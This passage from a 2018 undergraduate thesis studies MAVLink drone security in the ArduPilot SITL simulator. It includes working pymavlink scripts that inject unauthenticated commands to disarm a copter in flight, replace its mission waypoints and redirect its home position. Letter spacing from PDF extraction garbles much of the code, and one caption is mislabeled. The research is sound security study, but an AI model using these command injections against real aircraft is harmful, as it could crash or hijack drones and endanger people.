ment. It also shows the python scripts used to simulate an untrusted GCS.

4.3.1 Disarming Copter in Flight

MAV CMD COMPONENT ARM DISARM is a MAVLink command supported by

Copter that can arm or disarm motors on the ground and in flight. Arming the motors is
to apply power to the copter motors in order to make them to spin.
This command has two parameters. Parameter 1 is related to arming (when its value
is 1) and disarming (when its value is 0) when the vehicle is on the ground. Parameter 2
disarms the vehicle in flight when is set to 21196 (ARDUPILOT. . . , 2016b).
The following steps show how to reproduce the test in SITL environment.
 CHAPTER 4. REPRODUCING ATTACKS IN SITL ENVIRONMENT 31

• Run copter in SITL as shown in section 3.6;

• Take the copter off the ground. Use the following commands in MAVProxy terminal:

mode guided
arm throttle
takeoff 100

• Open a terminal and run disarming in flight.py python script. In the terminal:

python disarming_in_flight.py

The listing 4.1 showns the python script Disarming in flight.py used to simulate a
attacker which wanted to disarm the vehicle while it was flying. In the script observe
we imported pymavlink which is a python implementation of MAVLink protocol. In line
6, TCP connexion is established in the port 5762. This port is the channel between
arducopter firmware running in SITL and the MAVLink messages from the attacker’s
GCS (see simulation environment architecture in figure 4.1).
Lines from 13 to 21 represents the MAV CMD COMPONENT ARM DISARM MAVLink
message with all the required parameters to disarm the vehcle in flight.

1 from pymavlink import m a v u t i l

2

3 m a v u t i l . s e t d i a l e c t ( ”a r d u p i l o t m e g a ”)
4

5 # E s t a b l i s h a UDP c o n n e c t i o n t o t h e c o p t e r
6 a u t o p i l o t = mavutil . mavlink connection ( ’ tcp : 1 2 7 . 0 . 0 . 1 : 5 7 6 2 ’ )
7

8 # L i s t e n f o r a h e a r t b e a t t o make s u r e we ’ r e r e c e i v i n g MAVLink mes sa ges

9 a u t o p i l o t . w a i t h e a r t b e a t ( b l o c k i n g=True )
10

11 p r i n t ( ”Sending message t o disarm c o p t e r i n f l i g h t . ”)

12

13 a u t o p i l o t . mav . command long send (

14 1 , # a u t o p i l o t system i d
15 1 , # a u t o p i l o t component i d
16 4 0 0 , # command id , ARM/DISARM
17 0 , # confirmation
18 0 , # disarm
19 2 1 1 9 6 , #disarm i n f l i g h t !
20 0 , 0 , 0 , 0 , 0 # unused p a r a m e t e r s f o r t h i s command
21 )

Listing 4.1 – Python script used to disarming the vehicle during a flight.
 CHAPTER 4. REPRODUCING ATTACKS IN SITL ENVIRONMENT 32

It is also possible to disarm the vehicle in flight using the command MAV CMD DO -
FLIGHTTERMINATION (id #185) by replacinf the command long send parameters as
in listing 4.2.

1 a u t o p i l o t . mav . command long send (

2 1 , # a u t o p i l o t system i d
3 1 , # a u t o p i l o t component i d
4 1 8 5 , # command i d
5 0 , # confirmation
6 1 , # Flight termination activated i f > 0.5
7 0 , 0 , 0 , 0 , 0 , 0 # unused p a r a m e t e r s f o r t h i s command
8 )

Listing 4.2 – Python code to disarm using MAV CMD DO FLIGHTTERMINATION

message.

4.3.2 Changing Mission Waypoints

Copter has a lot of flight modes to support different levels of flight stabilization as
guided and auto modes. Guided mode allows to interactively command the copter to
go to a location by clicking on a point of the map in the GCS. In auto mode the copter
follows a pre-programmed mission stored in the autopilot. A mission consists of navigation
commands (waypoints) and do commands.
The process to upload a mission in the copter is described in section 2.4, which de-
scribes the mission protocol of MAVLink.
The goal of this attack is to change the mission waypoints of a copter that is already
flying a mission. The python script of listing 4.3 represents a attacker which uses the
mission protocol of MAVLink to send new waypoints to the copter.
In the script code in lines from 4 to 8 is responsible to import required libraries and to
make to TCP connexion between the script and arducopter in SITL. In line 16, lat, lon
e alt keeps localization data of the three new waypoints that will be sent by the attacker
to the copter.
The variable frame is related to the frame of reference adopted. Position and location
information must be provided relative to a particular frame of reference. Here we used
the GLOBAL RELATIVE ALT frame, which uses the latitude and longitude as in World
Geodetic System 84 coordinate system and sets altitude as relative to the home copter
position (home altitude = 0).
Python loop in lines from 24 to 32 is responsable to create the MAVLink messages
with waypoints data. The rest of the process is related to the messages exchange between
 CHAPTER 4. REPRODUCING ATTACKS IN SITL ENVIRONMENT 33

copter and the script according to the mission protocol. The comments in green helps to
explain the process (ARDUPILOT. . . , 2016b).

1 # Adapted from t h e python s c r i p t a v a i l a b l e i n t h e l i n k

2 # h t t p s : / /www. c o l o r a d o . edu / r e c u v /2015/05/25/ mavlink−p r o t o c o l −waypoints
3

4 from pymavlink import mavutil , mavwp

5

6 # E s t a b l i s h a UDP c o n n e c t i o n t o t h e a i r c r a f t
7 #master = m a v u t i l . m a v l i n k c o n n e c t i o n ( ’ udp : 1 2 7 . 0 . 0 . 1 : 1 4 5 5 0 ’ )
8 master = m a v u t i l . m a v l i n k c o n n e c t i o n ( ’ t c p : 1 2 7 . 0 . 0 . 1 : 5 7 6 2 ’ )
9

10 # L i s t e n f o r a h e a r t b e a t t o make s u r e we ’ r e r e c e i v i n g MAVLink mes sa ges

11 master . w a i t h e a r t b e a t ( b l o c k i n g=True )
12

13 # C r e a t e a waypoint (wp) o b j e c t and p o p u l a t e i t with l a t , lon , a l t i t u d e

14 wp = mavwp . MAVWPLoader( )
15

16 lat = (37.620102 ,37.619461 ,37.618866)

17 l o n = ( −122.380020 , −122.379089 , −122.376938)
18 a lt = (100 ,100 ,100)
19

20 seq = 1
21 frame = m a v u t i l . mavlink .MAV FRAME GLOBAL RELATIVE ALT
22 r a d i u s = 10
23

24 f o r i in range ( len ( l a t ) ) :
25 wp . add ( m a v u t i l . mavlink . MAVLink mission item message ( master .
target system ,
26 master . ta r g e t c o m p o n e n t ,
27 seq ,
28 frame ,
29 m a v u t i l . mavlink .MAV CMD NAV WAYPOINT,
30 0 , 0 , 0 , radius , 0 , 0 ,
31 l a t [ i ] , lon [ i ] , a l t [ i ] ) )
32 s e q += 1
33

34 # Send a c l e a r a l l waypoints command t o t h e c o p t e r

35 master . w a y p o i n t c l e a r a l l s e n d ( )
36

37 # Send a MISSION COUNT(N) t o t h e c o p t e r

38 master . w a y p o i n t c o u n t s e n d (wp . count ( ) )
39

40 # L i s t e n f o r MISSION REQUEST m essa g es and s e n t t h e a p p r o p r i a t e waypoint

41 # To s i m p l i f y t h e l o o p code , each t r a n s a c t i o n o f waypoint s u c c e e d d u r i n g
i t s f i r s t timeout .
 CHAPTER 4. REPRODUCING ATTACKS IN SITL ENVIRONMENT 34

42 f o r i i n r a n g e (wp . count ( ) ) :
43 msg = master . recv match ( type =[ ’MISSION REQUEST ’ ] , b l o c k i n g=True )
44 master . mav . send (wp . wp( msg . s e q ) )
45 p r i n t ’ Sending waypoint {0} ’ . format ( msg . s e q )

Listing 4.3 – Python script used to disarming the vehicle during a flight

The following steps show how to reproduce this attack in SITL environment.

• Run copter in SITL as shown in section 3.6;

• Draw a mission in the MAVProxy map and send it to the copter. The mission must
contain waypoints different of the script waypoints. Once that copter has accepted
the mission, use the following commands in MAVProxy terminal:

mode guided
arm throttle
takeoff 100
mode auto

Then the copter will take off and fly to the waypoints of the mission. In the figure
4.2 you can see the MAVProxy map, console and terminal while the copter is in a
mission.

• To start the attack open a terminal and run changing waypoints.py python script.
In the terminal:

python changing_waypoints.py

When changing waypoints.py runs it sends new waypoints to the copter in a mission.
Then copter dodges the mission in execution and go to the waypoints of the mission sent
by the attacker. Figure 4.3 shows copter leaving its actual mission to go to the attacker
mission.

4.3.3 Changing Home Position

In the RTL mode (Return To Launch) copter navigates from its current position to
the home position. Home position is the point where copter was armed, so it is supposed
to be the GPS takeoff location. It is possible to change this point using MAV CMD DO -
SET HOME message.
This attack consists in changing the home position and then setting copter to RTL
mode in order to make copter to land in a unexpected place. The script used to this
 CHAPTER 4. REPRODUCING ATTACKS IN SITL ENVIRONMENT 35

FIGURE 4.2 – MAVProxy map, console and terminal when copter is executing a mission.

FIGURE 4.3 – MAVProxy map, console and terminal after running the attacker python
script. Copter has changed its way to a waypoint that don’t belong to the first mission.

attack is in the listing 4.4. The process to run this in SITL is similar to the others attacks
and copter must be in flight before running the script.
1 from pymavlink import m a v u t i l
2
 CHAPTER 4. REPRODUCING ATTACKS IN SITL ENVIRONMENT 36

3 m a v u t i l . s e t d i a l e c t ( ”a r d u p i l o t m e g a ”)
4

5 # E s t a b l i s h a UDP c o n n e c t i o n t o t h e c o p t e r
6 a u t o p i l o t = mavutil . mavlink connection ( ’ tcp : 1 2 7 . 0 . 0 . 1 : 5 7 6 2 ’ )
7

8 # L i s t e n f o r a h e a r t b e a t t o make s u r e we ’ r e r e c e i v i n g MAVLink mes sa ges

9 a u t o p i l o t . w a i t h e a r t b e a t ( b l o c k i n g=True )
10

11 a u t o p i l o t . mav . command long send (

12 1, # a u t o p i l o t system i d
13 1, # a u t o p i l o t component i d
14 1 7 9 , # command id , MAV CMD DO SET HOME
15 0, # confirmation
16 0, # 1=u s e c u r r e n t l o c a t i o n , 0=u s e s p e c i f i e d l o c a t i o n
17 0 ,0 ,0 , # unused p a r a m e t e r s f o r t h i s command
18 37.620102 , # latitude
19 −122.380020 , # l o n g i t u d e
20 0 # Altitude
21 )
22

23 a u t o p i l o t . mav . command long send (

24 1, # a u t o p i l o t system i d
25 1, # a u t o p i l o t component i d
26 2 0 , # command id , MAV CMD RETURN TO LAUNCH
27 0, # confirmation
28 0 , 0 , 0 , 0 , 0 , 0 , 0 # unused p a r a m e t e r s f o r t h i s command
29 )

Listing 4.4 – Python code to change home position and to make UAV go to this new
position using RTL mode.
5 Conclusion

The work focused in building a solid overview of the MAVLink protocol showing general
and especific aspescts inside practical examples running in SITL environment. It started
presenting important aspects of the protocol to understand the attacks reproduced in
SITL, as package structure, differences between versions, field reordering in the payload
and mission protocol.
The three examples simulated (disarming copter in flight, changing mission waypoints
and changing home position) reproduced possible attacks to a copter in flight, but the
structure of each case can be used as example to develop other features or tests. In
the attacks, typical MAVLink messages were used by an unautorized user that also had
access to the media were the messages were exchanged between copter and the autorized
GCS. This kinf of attack was possible because MAVLink v1.0 does not support encryption
and authentication. Therefore, the work presented how to configure and how to adapt the
Ardupilot SITL environment in order to simulate an unauthentic GCS injecting MAVLink
packages in the channel between a copter and an authentic GCS.
This paper can be useful as a initial guide to understand the protocol and its lack of
security for some applications. It also showed the advantages of using SITL simulations:
without any hardware we were able to reproduce a scenario where a copter was attacked
by untrusted GCS. During the development of features and applications for drones, SITL
simulation is essential to test functionality and performance.
Future works can use this paper to understand how to adapt SITL environment to
applications and tests envolving other autopilots from Ardupilot family, as ArduPlane.
Besides, The simulated attacks can also be used as tests in the attempt to implement
encryption to the protocol.
 Bibliography

ARDUPILOT Documentation: Sitl simulator (software in the loop). 2016. Disponı́vel

em: <http://ardupilot.org/dev/docs/sitl-simulator-software-in-the-loop.html>. Acesso
em: 06 nov. 2018.

ARDUPILOT Documentation: Mavlink mission command messages (mav cmd). 2016.

Disponı́vel em: <http://ardupilot.org/planner/docs/common-mavlink-mission-
command-messages-mav cmd.html>. Acesso em: 03 nov. 2018.

ARDUPILOT Documentation: Setting up sitl on linux. 2016. Disponı́vel em:

<http://ardupilot.org/dev/docs/setting-up-sitl-on-linux.html>. Acesso em: 03 nov.
2018.

ARDUPILOT Documentation: Mavproxy developer gcs. 2016. Disponı́vel em:

<http://ardupilot.org/dev/docs/mavproxy-developer-gcs.html>. Acesso em: 03 nov.
2018.

ARDUPILOT Documentation: Electronic speed controller (esc) calibration. 2016.

Disponı́vel em: <http://ardupilot.org/copter/docs/esc-calibration.html>. Acesso em: 03
nov. 2018.

ARDUPILOT Documentation: Learning ardupilot — introduction. 2016. Disponı́vel em:

<http://ardupilot.org/dev/docs/learning-ardupilot-introduction.html>. Acesso em: 03
nov. 2018.

ARDUPILOT Documentation: Sitl advanced testing. 2016. Disponı́vel em:

<http://ardupilot.org/dev/docs/using-sitl-for-ardupilot-testing.html>. Acesso em: 03
nov. 2018.

ARDUPILOT Documentation: Sitl advanced testing. 2016. Disponı́vel em:

<http://ardupilot.org/dev/docs/using-sitl-for-ardupilot-testing.html>. Acesso em: 04
nov. 2018.

FLIGHTGEAR: About flightgear. 2018. Disponı́vel em:

<http://home.flightgear.org/about/>. Acesso em: 06 nov. 2018.

KWON, Y.-M.; YU, J.; CHO, B.-M.; EUN, Y.; PARK, K.-J. Empirical analysis of
mavlink protocol vulnerability for unmanned aerial vehicles. Institute of Electrical
and Electronics Engineers Xplore, p. 43203–43212, 2018. Disponı́vel em:
<https://ieeexplore.ieee.org/document/8425627>. Acesso em: 03 nov. 2018.
BIBLIOGRAPHY 39

MAVLINK Developer Guide: Mission protocol. 2018. Disponı́vel em:

<https://mavlink.io/en/protocol/mission.html>. Acesso em: 03 nov. 2018.

MAVLINK Developer Guide: Protocol overview. 2018. Disponı́vel em:

<https://mavlink.io/en/about/overview.html>. Acesso em: 03 nov. 2018.

MAVLINK Developer Guide: Serialization. 2018. Disponı́vel em:

<https://mavlink.io/en/guide/serialization.html>. Acesso em: 06 nov. 2018.

MAVLINK Developer Guide: Mavlink 2. 2018. Disponı́vel em:

<https://mavlink.io/en/guide/mavlink 2.html>. Acesso em: 03 nov. 2018.

MAVLINK Developer Guide: Mavlink xml file schema / format. 2018. Disponı́vel em:
<https://mavlink.io/en/guide/xml schema.html>. Acesso em: 03 nov. 2018.

MAVLINK Developer Guide: Mavlink common message set. 2018. Disponı́vel em:
<https://mavlink.io/en/messages/common.html>. Acesso em: 03 nov. 2018.

PYPI MAVPROXY: Project description. 2018. Disponı́vel em:

<https://pypi.org/project/MAVProxy/>. Acesso em: 03 nov. 2018.

WIKIPEDIA: Denial-of-service attack. 2018. Disponı́vel em:

<https://en.wikipedia.org/wiki/Denial-of-service attack>. Acesso em: 03 nov. 2018.
 FOLHA DE REGISTRO DO DOCUMENTO

1. 2. 3. 4.
CLASSIFICAÇÃO/TIPO DATA DOCUMENTO N N DE PÁGINAS
TC 8 de Novembro de 2018 DCTA/ITA/TC-037/2018 39
5.
TÍTULO E SUBTÍTULO:
Supporting the Development of Unmanned Vehicles: MAVlink Protocol and its Security Aspects
6.
AUTOR(ES):
Marcos Santana de Oliveira
7.
INSTITUIÇÃO(ÕES)/ÓRGAO(S) INTERNO(S)/DIVISÃO(ÕES):
Instituto Tecnológico de Aeronáutica - ITA
8.
PALAVRAS-CHAVE SUGERIDAS PELO AUTOR:
MAVLink; Ardupilot; Software-In-The-Loop, Drones.
9.
PALAVRAS-CHAVE RESULTANTES DE INDEXAÇÃO:
Aeronave não-tripulada; Simulação em software in-the-loop; Protocolos de comunicação; Simulação computa-
dorizada; Computação.
10.
APRESENTAÇÃO: (X) Nacional ( ) Internacional
ITA, São José dos Campos. Curso de Graduação em Engenharia da Computação. Orientadora: Profa. Juliana
de Melo Bezerra. Publicado em 2018.
11.
RESUMO:
Micro Air Vehicle Link é um protocolo simples de código aberto que tem se tornado popular em aplicações
envolvendo pequenas aeronaves não tripuladas, como drones. O protocolo também é conhecido pela falta de
medidas fortes de segurança, uma vez que é focado em uma comunicação leve para canais com limitações de
banda.
Esse trabalho mostra uma visão global dos principais aspectos do protocolo MAVLink a fim de construir um
guia sólido para ajudar no desenvolvimento de aplicações com drones. O trabalho também apresenta os passos
necessários para configurar um ambiente de simulação com o Ardupilot para auxiliar na análise de segurança do
protocolo, a qual focou na reprodução de ataques a um drone de asa rotativa em voo.

12.
GRAU DE SIGILO:
(X) OSTENSIVO ( ) RESERVADO ( ) SECRETO